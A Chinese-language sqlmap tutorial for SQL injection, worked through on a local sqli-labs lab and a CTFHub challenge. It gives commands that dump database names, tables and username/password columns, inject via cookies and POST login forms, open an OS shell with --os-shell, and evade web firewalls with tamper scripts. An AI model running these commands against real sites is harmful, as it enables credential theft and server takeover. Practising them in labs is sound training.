目录
知识点
一般的渗透流程:
sqlmap -u 注入点 #判断有无注入点
sqlmap -u 注入点 --dbs #查看爆破数据库(不是某一个数据库,而是所有的数据库名)
sqlmap -u 注入点 -D 库名 --tables #爆破指定数据库的表名
sqlmap -u 注入点 -D 库名 -T 表名 --columns #爆破指定表的列名
sqlmap -u 注入点 -D 库名 -T 表名 -C 列名 --dump #获取指定表的指定列的数据
其他常见poyload
1、cookie注入:(只有level达到2才会检测cookie)
sqlmap -u 注入点 --cookie “id=11” --level 2
2、POST登录框注入(-p是指定参数)
先使用burp抓到post包,保存为文件
sqlmap -r 保存的post包文件 -p “username”,"password"
3、自动判断注入
sqlmap.py -u 登录的地址 --forms
4、--os-shell(反弹一个shell)
sqlmap -u 注入点 --os-shell
5、绕过waf防火墙
sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper 指定脚本
bypass脚本通常为:
(1)、对于MYSQL数据库 4.0, 5.0注入:space2hash.py
(2)、对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入:space2morehash.py(3)、encodes编码:charencode.py
(4)、base64编码:base64encode.py
(5)、替换空格和关键字:halfversionedmorekeywords.py
一般渗透流程
1、判断有无注入,注入点类型
poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1
结果如下:
sqlmap扫描发现该注入点存在sql注入,可以利用的有:布尔盲注、报错注入 、时间盲注、联合查询注入。
2、存在注入点,读取数据库
poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 --dbs
sqlmap扫描结果如下:
读取到所有的数据库,共七个,我们指定查询security数据库;
3、指定数据库,读取表名
poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security --tables
扫描结果如下:
扫描结果之前忘说了,他会扫描出服务器的系统信息、中间件版本、使用的语言、数据库的类型和版本。
获得security数据库下的所有表名。
4、指定表名,获取列名
poyload:
sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security -T users --columns
扫描结果如下:
列名有三列:id,password,username;
5、指定列名获取数据
poyload:
sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security -T users -C password,username --dump
扫描结果如下:
获取数据。
cookie注入
以CTFHub-Web-sql注入-cookie注入的靶场为例。
poyload:sqlmap -u "http://challenge-e779f9e166a331a7.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2
扫描结果如下:
存在注入,并且给出注入类型和数据库版本信息;
其他步骤与上述一样;